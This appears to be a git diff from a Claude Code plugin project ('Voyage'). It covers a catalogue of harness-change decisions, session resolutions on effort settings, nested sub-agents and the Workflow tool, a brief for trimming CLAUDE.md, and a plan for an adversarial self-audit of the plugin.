| **CC-23** | Claude Fable 5 (Mythos-class) GA (2.1.170) | NEW | Voyage is a planning/reasoning pipeline; Fable is a different model class | **SKIP** (revisit) | Not an obvious fit for deep-planning agents. Note as an option if a future profile wants a distinct model class for a specific phase. |
| **CC-24** | `enforceAvailableModels` managed setting (2.1.175); `availableModels` now constrains Default + subagent overrides (2.1.172/176) | CHANGE | enterprise deployments could constrain Voyage's `opus`/`sonnet` picks | **DEFER** | Document that profile model picks must live within any managed `availableModels` allowlist. Relevant for enterprise consumers post-open-release. |
| **CC-25** | `MAX_THINKING_TOKENS=0` / `--thinking disabled` disables thinking on think-by-default models (2.1.166) | NEW | could gate thinking in cheap `economy`-profile phases | **DEFER** | Minor cost lever; fold into W2 profile design if useful. |
---
## S3 resolutions (W2 effort/model alignment — 2026-06-18, operator-gated)
S3 was a decision-gate. Two-track evidence (codebase map of `phase_signals`/`phase_models`/profiles/resolver + verbatim-cited CC native-`effort:` semantics) overturned CC-22's framing hypothesis and the operator confirmed the path.
**The load-bearing finding — two axes, one name.** Voyage's `phase_signals.effort` (low/standard/high) is consumed only by **command prose** to pick *orchestration shape*: skip/add swarm passes, gate strictness, sequential-vs-parallel (`trekplan.md:925–957`, `trekresearch.md:472–503`, `trekreview.md:385–417`, `trekexecute.md:1542–1577`). CC native `effort:` (low/medium/high/xhigh/max) is a *per-spawn reasoning-token budget* applied by the harness. `low` in Voyage means "run fewer agents," not "think less." A remap (option a) would conflate the two and silently delete orchestration behavior — and would **not** remove the resolver (it also carries the model half). Verified native semantics: `effort:` settable in agent/skill/command frontmatter; precedence env (`CLAUDE_CODE_EFFORT_LEVEL`) > frontmatter > session > model default; Opus 4.8 default = `high`.
**Operator decisions (2026-06-18):**
1. **CC-22 → option C.** Freeze `phase_signals.effort` 3-level as-is (it is an orchestration axis, deliberately not the native 5-level vocab) → **unblocks the v5.4 brief-schema freeze**. Adopt native `effort:` additively, at the agent/profile layer, outside the brief contract.
2. **Field name kept `effort`** (no breaking rename at v5.4); the orchestration-vs-reasoning distinction is documented loudly instead.
**Dispositions feeding S4 / v5.4 / profile design:**
- **CC-21 — DECIDED.** Opus-4.8-`high` is the accepted baseline; native `effort:` is the moderation lever. Doc-truth follow-up: model/effort references in `CLAUDE.md`/`docs/profiles.md`/README.
- **CC-24 — DEFER (confirmed).** `availableModels`/`enforceAvailableModels` constrains **model only**, not effort (verified). Document that profile model picks must stay within any enterprise allowlist.
- **CC-25 — DEFER (confirmed).** `MAX_THINKING_TOKENS=0` overrides effort (disables thinking) — the most aggressive `economy` cost lever; fold into profile design.
- **Resolver MAJOR (S4, unchanged).** `phase-signal-resolver.mjs:40` copies `model` ungated while `:39` gates `effort`. Independent of the effort decision; option C keeps `phase_signals.model`, so the fix (import + apply `BASE_ALLOWED_MODELS`) stays on S4.
**S4 scope (now unblocked):** (1) resolver MAJOR model-gate fix; (2) additive native `effort:` — verified-safe minimum is static per-agent frontmatter (retrieval agents `task-finder`/`git-historian`/`dependency-tracer`/`architecture-mapper` lower; reasoning agents `plan-critic`/`risk-assessor`/`contrarian-researcher`/`review-coordinator` stay high); (3) doc-truth model/effort updates; (4) document the effort-axis distinction. **Open (non-blocking):** profile-driven *dynamic* effort needs verification — per-spawn `effort` param is **unverified** (only `model` is documented per-spawn); dynamic would otherwise need env-var injection.
## S4 resolutions (W2 implementation — 2026-06-18)
S4 implemented the four scope items above. TDD: a failing test was written first for the resolver gate, then the fix; full suite green throughout.
- **Resolver MAJOR — FIXED.** `lib/profiles/phase-signal-resolver.mjs` now imports `BASE_ALLOWED_MODELS` from `profile-validator.mjs` and gates `model` (`if ('model' in entry && BASE_ALLOWED_MODELS.includes(entry.model))`), mirroring the `EFFORT_LEVELS` gate one line above. Out-of-allowlist models (e.g. `gpt-4`, `haiku`) are now dropped (treated as absent) instead of handed through to an agent spawn — defense-in-depth behind `brief-validator`'s validation-time check. 2 new tests in `tests/lib/phase-signal-resolver.test.mjs` (drops-invalid + keeps-valid). No circular import (`brief-validator` already imports the same symbol; `profile-validator` depends only on `util/`).
- **Native `effort:` — SHIPPED (static, additive).** Added `effort:` frontmatter to the 8 named agents: retrieval (`task-finder`, `git-historian`, `dependency-tracer`, `architecture-mapper`) → `medium`; adversarial-reasoning (`plan-critic`, `risk-assessor`, `contrarian-researcher`, `review-coordinator`) → `high`. The other 15 agents stay unset → inherit Opus-4.8 default (`high`). `claude plugin validate` passes (effort is a valid frontmatter field; only the pre-existing root-CLAUDE.md warning remains).
- **Doc-truth + axis distinction — DONE.** New canonical section `docs/profiles.md` §Model & effort axes (opus→Opus 4.8 default-`high`; orchestration `phase_signals.effort` vs native reasoning `effort:` table; native-effort precedence; which agents carry which level). Short note added to `CLAUDE.md` (after Agents table) and `README.md` (Cost profile section), both pointing to the profiles.md section.
- **Open (non-blocking, unchanged).** Only *static* per-agent effort shipped — the verified-safe minimum. Profile-driven *dynamic* effort still needs verification of the per-spawn `effort` param (only `model` is documented per-spawn) or env-var injection (`CLAUDE_CODE_EFFORT_LEVEL`). Deferred to W2 profile design.
- **Tests:** 582 total / 580 pass / 0 fail / 2 skip (was 578 pass; +2 new resolver tests).
## W1 — Orchestration architecture (multi-week, empirical)
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|----|------------------|------|------------------|----------|-----------|
| **CC-26** | Sub-agents spawn sub-agents ≤5 deep (**2.1.172**, verified) — the design response to CC-01 | NEW | Could restore *delegated* orchestration: an orchestrator sub-agent spawns the swarm; synthesis/writing delegated (the "missing summarizer link" in `docs/subagent-delegation-audit.md`). Frees main-context tokens | **EVALUATE → lean NO (S7)** | "Can spawn 5 deep" ≠ "Voyage's orchestrator→6-agent-swarm pattern performs well." **S7 (2026-06-18, GATE):** feasibility probed cheaply — depth-2 nesting works, no degradation; depth cap moot (Voyage needs depth 2); NEW finding = auto-mode proliferation classifier polices agent fan-out (risk unique to delegation). On cost/benefit, **wholesale delegation NOT recommended**; the only defensible path is a narrow opt-in synthesis-agent PoC, proven by Δ main-context tokens. Operator gates verdict. Full bake-off designed but NOT run. See `docs/T1-cc26-delegated-orchestration.md` + §S7. |
| **CC-27** | Dynamic Workflows / Workflow tool — orchestrates tens–hundreds of agents (**2.1.154**, verified); keyword `workflow`→`ultracode` (2.1.160); `agent()` attribution headers (2.1.174) | NEW | Voyage **hand-rolls** swarm/wave/pipeline orchestration in command prose — the Workflow tool is a native primitive for exactly this | **EVALUATE → selective hybrid (S8)** | The biggest identity decision: adopt Workflow as substrate, or stay prose-orchestrated? **S8 (2026-06-18, GATE):** probed cheaply — a minimal trekreview-shaped `parallel()`→`agent()` Workflow ran end-to-end (F1), structured schemas retire the JSON-parse fragility at `trekreview.md:202–204` (F2), result returns to main (F3), and a small purposeful fan-out did **not** trip the S7 proliferation classifier (F4). Reframe: "substrate swap" is a false binary — a `/trek*` command is ~80% non-orchestration glue, so Workflow can only ever replace the fan-out→synthesize *core* (hybrid). **Recommendation: selective hybrid, NOT wholesale swap** — tier 1 ship a prose schema contract (the F2 win, no Workflow dep); tier 2 port trekreview Phase 5–6 to a Workflow only if the designed bake-off shows fidelity-equivalent output + acceptable control/cost; tier 3 wholesale swap declined (portability floor 2.1.154+, opt-in UX, visibility loss). Operator gates verdict. Full bake-off designed, NOT run. See `docs/T2-cc27-workflow-substrate.md` + §S8. |
| **CC-28** | `TaskCreate` reliability — auto-repairs malformed input, schema in errors (2.1.163/169) | FIX | `TaskCreate`/`TaskUpdate` are in `trekplan`/orchestrator frontmatter but not actively used in command logic | **DEFER** | Becomes relevant only if W1 adopts task-graph orchestration. Tie to CC-26/27 outcome. |
| **CC-29** | `subagent_type` matching now case/separator-insensitive (2.1.140); multiple `Agent(...)` types in `tools:` no longer dropped (2.1.147); subagent transcript/backgrounding fixes (2.1.178) | FIX | improves DX of any delegated-orchestration design | **SHIP** (verify) | Free robustness. Confirm Voyage's agent `tools:` grants (none currently declare multiple `Agent(...)` types) and `subagent_type` references are unaffected. |
| **CC-31** | Worktree-isolation guard now applies in background sessions (2.1.154); `worktree.bgIsolation:"none"` (2.1.143); `EnterWorktree` switching mid-session (2.1.157) | CHANGE | `trekexecute` Phase 2.6 parallel waves + `trekplan` "execute with team" use git worktrees / `TeamCreate isolation:"worktree"` | **EVALUATE** | Verify Voyage's worktree-based parallel execution still behaves under the tightened bg-isolation guard. Affects the multi-session headless path. |
---
## S7 resolutions (W1 / CC-26 gate — 2026-06-18, operator-gated)
S7 was the first W1 gate. Operator chose a **staged** execution: cheap live feasibility probe +
measurement-design doc; the expensive head-to-head comparison was specified but **not run**.
- **Feasibility (measured).** A recursive `general-purpose` agent chain in this CC 2.1.181
interactive session confirmed: depth-2 nesting works (`main → L1 → L2`; both children report the
Agent tool available), and the nested sub-agent returned a real, well-formed result — **no silent
degradation** at depth 2. The v2.4.0 premise ("harness does not expose Agent to sub-agents") is
confirmed false at the interactive sub-agent level.
- **Depth cap moot.** The ≤5 cap was never reached; the recursion stopped at L2→L3 via the
**auto-mode permission classifier** (policy denial: "uncontrolled agent proliferation"), not the
nesting limit. Voyage's needed pattern is depth 2, so the cap does not bind this gate.
- **NEW finding — proliferation classifier.** Auto/bypass modes actively deny purposeless agent
fan-out. A delegated orchestrator spawning a 6–10-agent swarm from inside a sub-agent under
`auto`/`bypassPermissions` is exactly that shape — a classifier-interference risk **unique to
delegation** that inline orchestration does not carry, and a new silent-degradation surface if a
mid-pipeline spawn is denied. Must be in any future delegated-spawn test matrix.
- **CC-26 recommendation (operator gates verdict).** Lean **NO** on wholesale delegated
orchestration: feasibility is no longer the blocker, so the gate turns on cost/benefit, which is
unfavourable (delegation's only upside is main-context relief, against wall-time loss, context
re-delivery cost, the audit's iteration/adversarial-review/debuggability tradeoffs, and the new
classifier risk). The only defensible win is a **narrow opt-in synthesis-agent** (delegate just
trekplan Phase 7's heaviest inline read), adopted only if a measured Δ main-context ≥ 30% with no
quality loss materialises. CC-27 (Workflow tool, S8) is the more promising substrate question and
is untouched.
- **Artifact.** `docs/T1-cc26-delegated-orchestration.md` — full gate evidence, the §5 full
bake-off design (thresholds POSITIVE/NEGATIVE/INCONCLUSIVE), and the §6 synthesis-agent PoC, all
ready to run if the operator greenlights pursuing delegation.
## S8 resolutions (W1 / CC-27 gate — 2026-06-18, operator-gated)
S8 was the second W1 gate — the orchestration-substrate identity decision. Operator chose the same
**staged** execution as S7: cheap live feasibility probe + measurement-design doc; the head-to-head
prose-vs-Workflow bake-off was specified but **not run**.
- **Feasibility (measured).** A minimal trekreview-shaped Workflow — `parallel([reviewerA,
reviewerB])` with a findings schema → `agent(coordinator)` with a verdict schema, trivial agents,
synthetic input — ran end-to-end in this CC 2.1.181 interactive session: both reviewers returned
(F1), structured schemas delivered typed findings with no JSON-parse step (F2), the synthesizer
reproduced Phase-6 dedup+verdict behavior and the result returned to main (F3), and the small
purposeful fan-out did **not** trip the S7 proliferation classifier (F4). _3 agents · 85 461
tokens · 13.8 s._
- **Reframe — "substrate swap" is a false binary.** A `/trek*` command is ~80% non-orchestration
glue (mode parsing, triage, validators, stats, HTML) and ~20% agent fan-out. The Workflow tool
can only ever replace the fan-out→synthesize *core* (trekreview Phase 5–6), so the real decision
is a **scoped hybrid per core**, not a wholesale identity swap. (Mirrors S7's "wall-time is not
the gate metric" reframe.)
- **The one concrete win is schema robustness (F2)** — and it is capturable *without* the Workflow
tool: codify reviewer-output JSON as a validated prose schema contract, retiring the fragile
"collect trailing JSON / re-ask on parse error" at `trekreview.md:202–204`.
- **CC-27 recommendation (operator gates verdict).** **Selective hybrid, NOT wholesale swap**, in
three tiers: (1) ship a prose schema contract regardless — the F2 win, zero new dependency; (2)
port trekreview Phase 5–6 to a Workflow *only if* the designed bake-off shows fidelity-equivalent
output + acceptable control/cost — best-case first port; (3) wholesale substrate swap **declined**
(portability floor 2.1.154+, opt-in/billing UX on every invocation, loss of mid-flow operator
visibility for an operator-gated review tool). CC-26 (S7) and CC-27 (S8) are now both resolved to
"narrow/selective, operator-gated, not wholesale."
- **Open risk inherited from S7.** Classifier behavior at *large* fan-out (trekplan's 6–10-agent
swarm) under `auto`/`bypass` is still unverified — trekreview's 2–3 agents are below threshold,
but a later trekplan port must measure it first.
- **Artifact.** `docs/T2-cc27-workflow-substrate.md` — full gate evidence (F0–F4), §5 bake-off
design (thresholds POSITIVE/NEGATIVE/INCONCLUSIVE), §6 no-Workflow schema-contract PoC, all ready
to run if the operator greenlights tier 1 and/or tier 2.
## S13 resolutions (RELEASE — 2026-06-18, operator-gated)
S13 is the coordinated release that lands everything accumulated since `v5.1.1`: the
`brief_version 2.2` framing badge (held since S6), the W2/W3 hardening, and the W1 narrow wins
(NW1–NW3). Operator confirmed **two release decisions** (2026-06-18): version `5.5.0` and the
CLAUDE.md-warning disposition (below). Shipped as **v5.5.0** — see `CHANGELOG.md`.
- **Version = `5.5.0` (operator-confirmed).** The codebase already labels the framing milestone
`v5.5` and the contract formalization `v5.4` in ~25 test/doc sites; `5.5.0` makes those true
against the shipped version. Minor bump (additive — existing `2.0`/`2.1` briefs still validate;
new requirements gate only on briefs that *declare* `2.2`). Versions `5.2`–`5.4` were never
released — internal milestone labels folded into this one coordinated entry. Synced across
`plugin.json` + `package.json` + README badge + CHANGELOG top, guarded by a new
version-consistency test in `tests/lib/doc-consistency.test.mjs`.
- **CLAUDE.md root warning — ACCEPTED BY DESIGN (operator-confirmed).** `claude plugin validate`
emits one advisory warning ("root: CLAUDE.md … is not loaded as project context; use a skill
instead"). **Verified universal** across the marketplace (`graceful-handoff` emits the identical
warning *even with* a `skills/` dir — adding a skill does NOT clear it). It is advisory only
(validation passes), and the root `CLAUDE.md` is repo/maintainer context — consumer context ships
via README + command/agent frontmatter. Removing it would lose in-repo project instructions and
break the global continuity system. Disposition recorded so future sessions do not re-chase an
impossible "fix"; `validate` stays "passed with warnings" as the expected steady state.
- **CC-08 — RESOLVED: keep the safety preamble.** GH #36071 (PreToolUse hooks don't block in
headless `-p` mode) is **CLOSED AS NOT PLANNED, not fixed** (verified against the issue + official
changelog; the recent "hook deferral" feature is a workaround, not a fix to the headless
synchronization bug). The in-prompt safety preamble (`trekexecute.md:341`,
`templates/headless-launch-template.md:48`) **stays** — do not relax it on a silence-implies-fixed
assumption.
- **CC-29 — VERIFIED clean (SHIP).** `subagent_type` matching is now case/separator-insensitive and
multiple `Agent(...)` type grants are no longer dropped. No Voyage agent declares multiple
`Agent(...)` types in `tools:`; `subagent_type` references (`/trekplan`'s `"Explore"`, the
namespaced `voyage:*` agentTypes in the trekreview Workflow port) are unaffected. Free robustness,
no code change.
- **CC-31 — VERIFIED aligned (no change).** The tightened background worktree-isolation guard
(2.1.154) reinforces exactly Voyage's intent: isolate parallel waves. `/trekplan` uses
`TeamCreate isolation:"worktree"` with a documented sequential fallback when `TeamCreate` is
unavailable; `/trekexecute` Phase 2.6 creates/merges/cleans worktrees per wave with stale-worktree
cleanup. Doc-level verification (no live multi-session wave run this session); behavior consistent
with the guard.
- **CC-07 / CC-12 / CC-13 — DEFER confirmed (recorded, no code).** CC-07 (`fallbackModel`) triggers
when `/trekexecute` Phase 2.6 launch flags are next touched. CC-12 (Stop/SubagentStop
`additionalContext`) and CC-13 (`background_tasks`/`session_crons` in Stop-hook input) adopt when
the continuity-flush / OTLP exporter is next touched. No current gap forces any of them.
- **Final gates.** `claude plugin validate` passes (one accepted advisory warning); full `node --test`
green. Test count rises by the 2 new version-consistency/changelog-entry tests.
## S20 resolution (T3 / CC-04 — 2026-06-19, operator-gated)
- **CC-04 — VERIFIED clean (no code change).** Research agents degrade cleanly under
`--strict-mcp-config`. Verified semantics (CC `cli-reference.md` + `sub-agents.md`, v2.1.153):
the flag uses only servers from `--mcp-config` and ignores all other MCP config — with no
`--mcp-config`, every MCP server is absent. When a granted MCP tool's server is absent, Claude
Code **skips it with a warning and the subagent launches normally with its remaining tools** —
absent grants are dropped, not a spawn error. Voyage declares no frontmatter `mcpServers` (only
`mcp__server__tool` grants in `tools:`), so the frontmatter-server-blocking path does not even
apply; the grants simply go unresolved. Of the five MCP-granting agents, four (`docs-researcher`,
`community-researcher`, `security-researcher`, `contrarian-researcher`) keep a native
`WebSearch`/`WebFetch` fallback and degrade by losing MCP *enhancement* only — exactly what the
graceful-degradation rule (`trekresearch.md:522`, `research-orchestrator.md:226` — "If MCP tools
are unavailable (Tavily, Gemini, MS Learn), proceed with available tools and note the limitation")
already prescribes.
- **`gemini-bridge` is the one no-native-fallback case — degrades to a no-op, not a failure.** Its
`tools:` grants are `mcp__gemini-mcp__*` only; under `--strict-mcp-config` it would spawn with no
usable tools (the "zero granted tools" sub-case is **UNVERIFIED** in official docs, but the
skip-with-warning rule means it does not hard-fail the pipeline). It is conditionally gated
(`--local` skips it; standard effort triggers it only on architectural/triangulation questions;
only high-effort forces it always-on) and the degradation rule already names Gemini, so a
tool-less spawn is wasteful but covered. **Forward pointer (optional hardening, not done):** a
future session could gate the `gemini-bridge` spawn on gemini-server availability to avoid the
empty no-op under high-effort, and/or pin the "four-keep-fallback, gemini-bridge-is-MCP-only"
invariant in `agent-frontmatter.test.mjs` so a future `tools:` edit cannot silently break this
degradation analysis. No current gap forces either.
- **Verification log.** Q1/Q2 confirmed via `claude-code-guide` against `code.claude.com/docs`
(`cli-reference.md` line 110; `sub-agents.md` §Scope MCP servers to a subagent, lines 412–420;
changelog v2.1.153). Static analysis of the five agents' `tools:` arrays + the two
graceful-degradation rules. No live `claude -p --strict-mcp-config` run this session — harness-level
spawn behavior is documented authoritatively, consistent with the "one quick test" sizing.
- **CC-31 half of T3** remains **VERIFIED aligned** (see §verified findings) — no change. **T3 is now
fully evaluated.**
## Sequencing
```
Weekend (W0 + W4): CC-01 doc-truth fix · CC-06 plugin validate · CC-02/CC-29 verify-no-regression
→ ship something important AND correct.
Near-term (W2): CC-21 + CC-22 effort/model alignment decision → GATES v5.4 (per operator decision).
Resolves the resolver MAJOR finding in the same pass.
Then: v5.4 brief-schema public contract → v5.5 brief framing enforcement.
Multi-week (W1): CC-26 empirical sub-agent-nesting test + CC-27 Workflow-adoption prototype.
Outcome rewrites CC-01's "current design" statement and feeds the
docs/subagent-delegation-audit.md open problem.
Incremental (W3): CC-11/CC-14/CC-15 as small, independently-shippable hardening PRs.
```
## Open questions (need operator or empirical answer)
1. **W1 identity:** does Voyage adopt the Workflow tool as substrate, or stay prose-orchestrated? (CC-27) — **S8: false binary; lean selective hybrid (port the fan-out→synthesize core only), NOT wholesale swap; see §S8.**
2. **W1 perf:** does delegated orchestration (orchestrator sub-agent → swarm) beat inline at Voyage's scale? (CC-26 — empirical) — **S7: feasibility YES, but lean NO on wholesale adoption; see §S7.**
3. **W2 effort model:** map `phase_signals` onto native `effort:`, or keep bespoke? (CC-22 — gates v5.4)
4. **CC-08:** is GH #36071 (hooks in headless) fixed? Determines whether the safety-preamble can relax.
## Empirical tests required
- **T1 (CC-26):** orchestrator-sub-agent spawns the planning swarm vs. inline baseline — wall-time, quality, token cost, depth-cap behavior. Harness: extend `scripts/q3-cache-prefix-experiment.mjs` pattern. — **S7: feasibility half RUN** (depth-2 works, no degradation, cap moot, proliferation-classifier risk found); **perf half DESIGNED, NOT run** (full bake-off + cheaper synthesis-agent PoC specified in `docs/T1-cc26-delegated-orchestration.md` §5/§6).
- **T2 (CC-27):** reimplement `/trekreview`'s reviewer swarm as a Workflow; compare control, cost, and output fidelity vs. prose orchestration. — **S8: feasibility RUN** (probe: core ports natively, schemas retire JSON fragility, small fan-out classifier-clean); **fidelity/control/cost bake-off DESIGNED, NOT run** (`docs/T2-cc27-workflow-substrate.md` §5/§6).
- **T3 (CC-04/CC-31):** research-agent MCP degradation under `--strict-mcp-config`; worktree parallel-wave behavior under tightened bg-isolation. — **S20: CC-04 VERIFIED clean** (agents degrade cleanly — 4/5 keep a WebSearch/WebFetch fallback, `gemini-bridge` no-ops but does not hard-fail; see §S20 resolution); **CC-31 VERIFIED aligned** (see §verified findings). T3 fully evaluated.
---
_Catalogue covers 31 evaluated changes (CC-01…CC-31; CC-18/19/20/30 folded into CC-17/CC-29 rows). Generated 2026-06-18 against Voyage v5.1.1 / CC 2.1.181._

View file

@ -1,40 +0,0 @@
# Brief — trim voyage CLAUDE.md to invariants (always-loaded token reduction)
**Author:** config-audit machine-tuning loop (KTG). **Date:** 2026-06-29.
**Why config-audit didn't do this directly:** voyage is the operator's plugin — config-audit only writes briefs here, never code. Run this in a voyage session.
## Goal
`CLAUDE.md` is injected **every turn** while working in the voyage repo (the whole per-repo always-loaded delta). Measured with config-audit `manifest`: **2,261 always-loaded tokens**. The tables (commands, agents) are invariant; the cost sits in six design-history / context **block-quote notes** whose detail already lives in referenced docs. Moving them out (leaving a terse invariant + pointer) should cut **~900–1,200 tok (~40–50 %)** with zero capability loss.
## Hard constraints (do NOT break these)
- `tests/lib/doc-consistency.test.mjs` reads CLAUDE.md. Keep the **Commands table** and the **Agents table including the `Model` column** and any **count** the test cross-checks. After editing, `node --test 'tests/**/*.test.mjs'` and `bash verify.sh` must stay green.
- Keep every **invariant fact** — just relocate the verbose *rationale/history* to the doc that already owns it, and leave a one-line pointer. Don't delete facts; move them.
- Docs-only change → no version bump / no catalog ref unless the doc-consistency test demands a badge sync (it shouldn't for a CLAUDE.md prose trim).
## Trim targets (line numbers as of commit at brief time; match by content)
| Block | ~chars / ~tok | Action | Destination (already referenced) |
|-------|---------------|--------|----------------------------------|
| L5 design-principle parenthetical (synthesis-PoC Δ≈0 caveat) | 620 / ~155 | **Keep the honesty caveat in one short clause** ("main-context relief is asserted-by-design, not measured — see doc"), move the PoC explanation out | `docs/T1-synthesis-poc-results.md` |
| L7 v3.0.0 architect-extraction note | 376 / ~94 | Replace with a one-liner: the plan command auto-discovers `architecture/overview.md` if present (migration history → CHANGELOG) | `CHANGELOG.md` |
| L9 Trinity context (Tier 1/2/3) | 859 / ~215 | Keep the **asymmetry invariant** terse ("Voyage stays unaware of Tier 2/3; Handover 1 = the only integration point; brief-schema changes are breaking"), move the Tier 2/3 description out | `docs/HANDOVER-CONTRACTS.md` §Handover 1 |
| **L11 brief-framing 3-layer gate** | **1,585 / ~396** | Biggest. Keep one invariant line ("brief framing must match operator intent — enforced as the `brief_version 2.2` gate: `framing` frontmatter + memory-alignment dim 6 + `## TL;DR`; all BLOCKER for ≥2.2"), move the implementation detail out | `docs/HANDOVER-CONTRACTS.md` §Handover 1 (PUBLIC CONTRACT) |
| L56 S33 agent-inventory reconcile | 740 / ~185 | Keep the terse fact ("24 agent files = 21 spawnable + 3 orchestrator reference docs; `synthesis-agent` dormant; all `opus`"), move the sonnet-downgrade rationale out | `docs/voyage-vs-cc-balance-analysis.md` §10 |
| L58 Model & effort axes | 588 / ~147 | Keep one line ("`opus`=Opus 4.8 / `high`; select agents carry native `effort:`; distinct from brief `phase_signals.effort`"), move the per-agent effort table + axes explanation out | `docs/profiles.md` §Model & effort axes |
**Net:** ~2,261 → ~1,300 tok. (Verify the after-figure with `node /path/to/config-audit/scanners/manifest.mjs <voyage-path>` → the `project` `claude-md` source.)
## Procedure
1. For each block above, confirm the destination doc already contains the detail (it's referenced, so it should) — if not, move the prose there first.
2. Replace each block-quote with its terse invariant + pointer.
3. Leave Commands/Agents tables byte-exact (counts + model column).
4. `node --test 'tests/**/*.test.mjs'` + `bash verify.sh` green; confirm `doc-consistency` passes.
5. Re-measure; commit `docs(claude-md): trim CLAUDE.md to invariants` to voyage's Forgejo. Δ lands on the machine after operator `/exit` + reload.
## Notes
- This mirrors the same trim already done directly in config-audit (−662 tok), linkedin-studio (−2,266), ms-ai-architect (−346), okr (−15), portfolio-optimiser (−93) — same principle: CLAUDE.md carries invariants for working on the plugin; history/rationale lives in CHANGELOG + docs/.
- The voyage honesty culture (no overclaiming) is *preserved*, not trimmed: the synthesis-PoC Δ≈0 caveat stays as a one-liner; only the long-form explanation moves to its doc.

View file

@ -40,7 +40,7 @@ They run only at `effort: high` (resolved from the brief's `phase_signals`).
| Env-var | Default | Behavior |
|---------|---------|----------|
| `VOYAGE_STORM_ENABLED` | _(unset — default-off)_ | `=1` grants the Phase 5 loop a non-zero turn budget and is the second condition on Phase 4.5's skip-guard. Unset, `research-loop-cap.mjs` grants 0 turns and **both** phases are inert: doing nothing keeps the whole mechanism off. |
| `TREKRESEARCH_MAX_CONV_TURNS` | `3` | Max turns per under-illuminated dimension. Budget = this × `maxDimensions` (8, `settings.json:16`). Empty, non-numeric, zero, negative, `Infinity`, or any fraction that floors below `1` (`0.5`, `0.9`) fall back to `3` — never to unbounded, and never to `0`. A fraction at or above `1` floors (`2.7` → `2`). |
| `TREKRESEARCH_MAX_CONV_TURNS` | `3` | Max turns per under-illuminated dimension. Budget = this × `maxDimensions` (8, `MAX_TOTAL_DIMENSIONS` in `lib/util/research-loop-cap.mjs`). Empty, non-numeric, zero, negative, `Infinity`, or any fraction that floors below `1` (`0.5`, `0.9`) fall back to `3` — never to unbounded, and never to `0`. A fraction at or above `1` floors (`2.7` → `2`). |
| `VOYAGE_DISABLE_CAP_HOOK` | _(unset)_ | `=1` disables `hooks/scripts/pre-agent-cap.mjs`, the `PreToolUse` enforcement of the turn budget. The cap primitive still applies; only the second gate is switched off. |
Adoption of the loop as a default is gated on a pre-registered measurement —
@ -97,7 +97,6 @@ Every mode that executes refuses a plan whose approval in the approval log does
| `--validate` | Schema-only check on existing `{dir}/review.md` plus the verdict gate. No LLM calls. A 1.0 review without `verdict:` fails here (it still seeds a plan in soft mode) |
| `--dry-run` | Print discovered scope + triage map; skip writes |
| `--fg` | No-op alias (foreground is default) |
| `--workflow` | (opt-in, NW2) Run Phase 5–6 on the bake-off-validated Workflow substrate (`scripts/trekreview-armB.workflow.mjs`) instead of the default prose path. Default stays prose; requires **Claude Code 2.1.154+** (raises the consumer floor — opt-in for portability). Fidelity-equivalent per `docs/T2-bakeoff-results.md` |
| `--profile <name>` | (v4.1.0) Model profile for the review phase. |
## /trekcontinue modes

View file

@ -1,66 +0,0 @@
# Devil's-advocate session — adversarial cold audit of Voyage (Dynamic Workflow)
**Status:** Planned 2026-06-18 (post-S13). **Executes in the NEXT session** (after the operator's `/clear`).
**Operator mandate (2026-06-18, verbatim):** «Planlegg en "devils advocate" sesjon … hvor du nå oppdaterer STATE.md og forklarer at det skal brukes en Dynamic Workflow for analysen. … denne pluginen er veldig viktig for meg.»
**Opt-in:** The operator explicitly requested a **Dynamic Workflow** for the analysis — the next session is authorized to call the `Workflow` tool (multi-agent orchestration). This is a durable opt-in for that session.
## Why this, why now
v5.5.0 just shipped. Today's reflection surfaced an uncomfortable fact: **Voyage was not used to build Voyage** — the whole upgrade arc was hand-orchestrated with bespoke planning docs. Before investing further, subject the plugin to a **cold, hostile audit that actively tries to prove it is over-engineered, wrong, or unmaintainable** — and see what survives. The operator cares about this plugin; the kindest thing is an honest adversary, not applause.
## Objective (what the session must produce)
A severity-tagged, **adversarially-verified** critique written to **`docs/devils-advocate-results.md`**: where Voyage is genuinely weak, where its claims outrun its code, and what (if anything) should change. This is a steelman attack **plus** an honest rebuttal pass — not a feature wishlist, not vibes. Every finding cites `file:line`.
## Why a Dynamic Workflow (not inline, not the Voyage pipeline)
- The audit is a **fan-out → verify → synthesize** shape across independent adversarial angles — exactly the Workflow tool's review/red-team pattern. Independent skeptics that can't see each other's reasoning catch more than one context reasoning sequentially, and the rebuttal pass kills plausible-but-unfair critiques.
- It is deliberately **not** run through Voyage's own `/trek*` pipeline: the point is to judge Voyage from the *outside*, cold — not to dogfood it (that is a separate exercise the prior session flagged).
- The operator asked for a Dynamic Workflow explicitly.
## Adversarial dimensions — one finder each, build the STRONGEST case AGAINST
Each finder reads the actual code/docs (cite `file:line`); no claim without evidence.
- **D1 — Ceremony vs. value (existential).** Steelman: "Voyage is a sophistication trap — Plan mode + `/code-review` + a TODO gets 90% of the outcome at 10% of the cognitive/token cost. 7 commands, 24 agents, 697 tests are overhead, not value." Exhibit A: today's non-dogfood.
- **D2 — Today's decisions were rationalizations, not conclusions.** Steelman each: CC-26/27 "narrow hybrid not wholesale" (genuine analysis or status-quo bias? the bake-offs were largely *designed-not-run* or deterministic estimates); NW2 "POSITIVE" at **+4.4% tokens** (is that positive? was fidelity real?); NW3 **Δ=0%** decline (the measurement was `chars/4` with *swept, not API-measured* BASE — is the decline robust or an unfalsifiable-estimate artifact?); v5.5.0 versioning (skipping 5.2–5.4 as "unreleased internal milestones" — coherent for consumers, or post-hoc tidy-up?).
- **D3 — Brief-as-PUBLIC-CONTRACT is fragile.** Steelman: the framing-enforcement invariant ("brief framing must match operator intent") is itself an admission that the pipeline *structurally polishes wrong premises*. Do the three 2.2 defensive layers actually prevent that failure, or just add friction + a checkbox?
- **D4 — Orchestration architecture rests on shifting harness behavior.** Steelman: the v2.4.0 "inline orchestration" migration was forced by a premise ("harness doesn't expose Agent to sub-agents") that turned out **false** (CC-01/S7). The architecture depends on harness behavior the plugin can't control; the dormant synthesis-agent + prose-vs-Workflow indecision are symptoms.
- **D5 — Maintainability / rot / solo-maintainer risk.** Steelman: 24 agents (one dormant), 7 commands, many docs, 697 tests — a large share pinning *prose* (doc-consistency). Is that testing value or testing wording? Is this past the complexity event horizon for one fork-and-own maintainer?
- **D6 — Claims vs. reality (honesty audit).** Steelman: README/CLAUDE.md make strong claims (context engineering, adversarial review, disciplined execution). Take the load-bearing ones and check whether the code delivers or whether it's aspirational prose. (Turn Voyage's own conformance discipline back on its self-description.)
## Workflow shape (pipeline by default — refine the script on run)
```js
export const meta = {
name: 'voyage-devils-advocate',
description: "Adversarial cold audit of Voyage — steelman attacks + honest rebuttals",
phases: [
{ title: 'Attack', detail: 'one skeptic per dimension builds the strongest case against' },
